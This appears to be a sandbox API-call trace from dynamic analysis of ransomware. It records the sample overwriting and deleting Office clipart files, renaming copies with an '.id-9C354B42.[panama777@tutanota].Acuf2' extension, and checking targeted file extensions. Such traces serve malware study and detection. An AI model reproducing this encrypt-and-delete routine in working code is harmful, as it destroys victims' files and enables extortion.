	[0256.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.595] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.595] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.595] GetLastError () returned 0x0
	[0256.595] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5b8, lpOverlapped=0x0) returned 1
	[0256.602] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0256.603] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.603] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.603] SetEndOfFile (hFile=0x340) returned 1
	[0256.615] CloseHandle (hObject=0x340) returned 1
	[0256.615] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.615] SetEndOfFile (hFile=0x334) returned 1
	[0256.617] CloseHandle (hObject=0x334) returned 1
	[0256.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1
	[0256.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.618] lstrlenW (lpString=".doc") returned 4
	[0256.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.618] lstrlenW (lpString=".docx") returned 5
	[0256.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.618] lstrlenW (lpString=".pdf") returned 4
	[0256.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.618] lstrlenW (lpString=".xls") returned 4
	[0256.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.618] lstrlenW (lpString=".xlsx") returned 5
	[0256.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.618] lstrlenW (lpString=".ppt") returned 4
	[0256.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.778] lstrlenW (lpString=".zip") returned 4
	[0256.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.778] lstrlenW (lpString=".rar") returned 4
	[0256.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.778] lstrlenW (lpString=".bz2") returned 4
	[0256.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.778] lstrlenW (lpString=".7z") returned 3
	[0256.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.779] lstrlenW (lpString=".dbf") returned 4
	[0256.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.779] lstrlenW (lpString=".1cd") returned 4
	[0256.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.779] lstrlenW (lpString=".jpg") returned 4
	[0256.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.779] lstrlenW (lpString=".doc") returned 4
	[0256.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.779] lstrlenW (lpString=".docx") returned 5
	[0256.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.779] lstrlenW (lpString=".pdf") returned 4
	[0256.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString=".xls") returned 4
	[0256.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.780] lstrlenW (lpString=".xlsx") returned 5
	[0256.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.780] lstrlenW (lpString=".ppt") returned 4
	[0256.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.780] lstrlenW (lpString=".zip") returned 4
	[0256.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.780] lstrlenW (lpString=".rar") returned 4
	[0256.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString=".bz2") returned 4
	[0256.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString=".7z") returned 3
	[0256.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.780] lstrlenW (lpString=".dbf") returned 4
	[0256.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.780] lstrlenW (lpString=".1cd") returned 4
	[0256.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63
	[0256.780] lstrlenW (lpString=".jpg") returned 4
	[0256.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.781] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.781] lstrlenW (lpString="BL00254_.WMF") returned 12
	[0256.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.981] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1736) returned 1
	[0256.981] CloseHandle (hObject=0x340) returned 1
	[0256.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20
	[0257.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.295] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.295] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.295] GetLastError () returned 0x0
	[0257.295] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6c8, lpOverlapped=0x0) returned 1
	[0257.308] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6d0, lpOverlapped=0x0) returned 1
	[0257.309] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.309] WriteFile (in: hFile=0x340, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.309] SetEndOfFile (hFile=0x340) returned 1
	[0257.309] CloseHandle (hObject=0x340) returned 1
	[0257.309] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.310] SetEndOfFile (hFile=0x344) returned 1
	[0257.312] CloseHandle (hObject=0x344) returned 1
	[0257.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString=".doc") returned 4
	[0257.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString=".docx") returned 5
	[0257.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.588] lstrlenW (lpString=".pdf") returned 4
	[0257.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString=".xls") returned 4
	[0257.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.588] lstrlenW (lpString=".xlsx") returned 5
	[0257.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.588] lstrlenW (lpString=".ppt") returned 4
	[0257.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString=".zip") returned 4
	[0257.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.588] lstrlenW (lpString=".rar") returned 4
	[0257.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString=".bz2") returned 4
	[0257.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString=".7z") returned 3
	[0257.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString=".dbf") returned 4
	[0257.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString=".1cd") returned 4
	[0257.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.588] lstrlenW (lpString=".jpg") returned 4
	[0257.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.589] lstrlenW (lpString=".doc") returned 4
	[0257.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString=".docx") returned 5
	[0257.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.589] lstrlenW (lpString=".pdf") returned 4
	[0257.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString=".xls") returned 4
	[0257.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.589] lstrlenW (lpString=".xlsx") returned 5
	[0257.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.589] lstrlenW (lpString=".ppt") returned 4
	[0257.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.589] lstrlenW (lpString=".zip") returned 4
	[0257.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.589] lstrlenW (lpString=".rar") returned 4
	[0257.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString=".bz2") returned 4
	[0257.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString=".7z") returned 3
	[0257.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.589] lstrlenW (lpString=".dbf") returned 4
	[0257.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.589] lstrlenW (lpString=".1cd") returned 4
	[0257.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63
	[0257.590] lstrlenW (lpString=".jpg") returned 4
	[0257.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.590] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.590] lstrlenW (lpString="BL00273_.WMF") returned 12
	[0257.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.633] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3780) returned 1
	[0257.633] CloseHandle (hObject=0x218) returned 1
	[0257.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20
	[0257.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.715] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.715] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0257.715] GetLastError () returned 0x0
	[0257.715] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xec4, lpOverlapped=0x0) returned 1
	[0257.768] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xed0, lpOverlapped=0x0) returned 1
	[0257.769] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.769] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.769] SetEndOfFile (hFile=0x330) returned 1
	[0257.769] CloseHandle (hObject=0x330) returned 1
	[0257.769] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.769] SetEndOfFile (hFile=0x358) returned 1
	[0257.773] CloseHandle (hObject=0x358) returned 1
	[0257.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1
	[0257.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.839] lstrlenW (lpString=".doc") returned 4
	[0257.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.839] lstrlenW (lpString=".docx") returned 5
	[0257.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.839] lstrlenW (lpString=".pdf") returned 4
	[0257.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.839] lstrlenW (lpString=".xls") returned 4
	[0257.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.839] lstrlenW (lpString=".xlsx") returned 5
	[0257.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.839] lstrlenW (lpString=".ppt") returned 4
	[0257.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.839] lstrlenW (lpString=".zip") returned 4
	[0257.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.839] lstrlenW (lpString=".rar") returned 4
	[0257.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.839] lstrlenW (lpString=".bz2") returned 4
	[0257.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.839] lstrlenW (lpString=".7z") returned 3
	[0257.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString=".dbf") returned 4
	[0257.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString=".1cd") returned 4
	[0257.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString=".jpg") returned 4
	[0257.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString=".doc") returned 4
	[0257.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString=".docx") returned 5
	[0257.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.840] lstrlenW (lpString=".pdf") returned 4
	[0257.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString=".xls") returned 4
	[0257.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.840] lstrlenW (lpString=".xlsx") returned 5
	[0257.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.840] lstrlenW (lpString=".ppt") returned 4
	[0257.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.840] lstrlenW (lpString=".zip") returned 4
	[0257.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.840] lstrlenW (lpString=".rar") returned 4
	[0257.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString=".bz2") returned 4
	[0257.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.840] lstrlenW (lpString=".7z") returned 3
	[0257.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.841] lstrlenW (lpString=".dbf") returned 4
	[0257.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.841] lstrlenW (lpString=".1cd") returned 4
	[0257.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63
	[0257.841] lstrlenW (lpString=".jpg") returned 4
	[0257.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.841] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.841] lstrlenW (lpString="BL00525_.WMF") returned 12
	[0257.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0257.842] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9590) returned 1
	[0257.842] CloseHandle (hObject=0x274) returned 1
	[0257.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20
	[0257.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
